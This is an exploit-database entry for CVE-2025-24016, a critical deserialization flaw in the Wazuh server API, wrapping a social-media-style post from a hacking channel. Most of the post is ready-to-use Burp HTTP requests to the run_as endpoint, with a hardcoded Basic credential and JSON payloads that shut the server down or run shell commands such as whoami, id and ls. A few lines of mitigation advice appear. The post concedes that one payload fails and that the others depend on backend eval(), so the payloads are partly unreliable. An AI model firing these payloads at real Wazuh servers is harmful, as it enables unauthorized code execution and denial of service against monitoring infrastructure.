Vulnerability Details
Basic Information
| Title | Exploit for CVE-2025-24016 |
|---|---|
| Type | githubexploit |
| Published | 2025-04-21T19:13:01 |
| Last Seen | 2025-04-21T21:03:31 |
| CVSS Score | 9.9 (CRITICAL) |
CVSS v3 Details
| Attack Vector | NETWORK |
|---|---|
| Attack Complexity | LOW |
| Privileges Required | LOW |
| User Interaction | NONE |
| Scope | CHANGED |
| Confidentiality Impact | LOW |
| Integrity Impact | HIGH |
| Availability Impact | HIGH |
CVE Information
| CVE IDs | CVE-2025-24016 |
|---|---|
| CWE | |
| Bulletin Family | exploit |
Description
### π Vulnerability Summary
>A critical RCE vulnerability has been identified in the Wazuh server due to unsafe deserialization in the wazuh-manager package. This bug affects Wazuh versions β₯ 4.4.0 and has been patched in version 4.9.1.
π **Details**
>The flaw lies in the Wazuh API’s DistributedAPI, where user-controlled input is unsafely deserialized. This allows attackers with API access (e.g., compromised dashboard or cluster node) to execute arbitrary Python code on the master server using the run_as endpoint.
π¬ **Proof of Concept (Burp Request)**
“`
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
“__unhandled_exc__”: {
“__class__”: “exit”,
“__args__”: []
}
}
“`
π The Authorization header is the base64 of `wazuh-wui:MyS3cr37P450r.*-`.
π The payload causes the Wazuh server to shut down by calling Python’s `exit()` method.
π₯ **Impact**
– Full Remote Code Execution via the API
– Server Shutdown in PoC (DoS)
– Risk of lateral movement across Wazuh clusters
π‘οΈ Mitigation
– β
Upgrade to Wazuh v4.9.1 or higher
– π« Avoid exposing the API externally
– π§ͺ Monitor unusual API activity
### β
Example Payload to Run whoami
“`
{
“__unhandled_exc__”: {
“__class__”: “os”,
“__import__”: “os”,
“system”: “whoami”
}
}
“`
But this alone wonβt work unless the deserialization code actually executes the object tree. Instead, use a `__reduce__` based object that executes code.
Hereβs the working format for a **Burp request** using Pythonβs `os.system()` via pickle-like logic:
π£ **Working Burp RCE Payload (Python Code Execution)**
“`
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
“__reduce__”: [
“__import__(‘os’).system”,
[“whoami”]
]
}
“`
𧬠**To run ls, change payload:**
“`
{
“__reduce__”: [
“__import__(‘os’).system”,
[“ls -la”]
]
}
“`
You can also use:
“`
{
“__reduce__”: [
“__import__(‘subprocess’).getoutput”,
[“id”]
]
}
“`
β οΈ Note: The actual deserialization must happen with `eval()` or similar mechanisms in the backend for this to work. Based on the Wazuh PoC, this is indeed possible if you control auth_context.
π Pro Tip
Intercept the request in Burp, go to the Repeater tab, and test multiple payloads like:
– `”whoami”`
– `”id”`
– `”uname -a”`
– `”ls /home/wazuh”`
If the response is **empty** or status is **500**, check logs β **sometimes output isnβt returned.**
π Stay **sharp**, **hackers**! More **bug bounty PoCs**, **bypasses**, and **payloads** are coming!
Follow π [@cybersecplayground](https://t.me/cybersecplayground) for daily hacking content!
> #bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit
Impact Assessment
| Base Score | 9.9 |
|---|---|
| Severity | CRITICAL |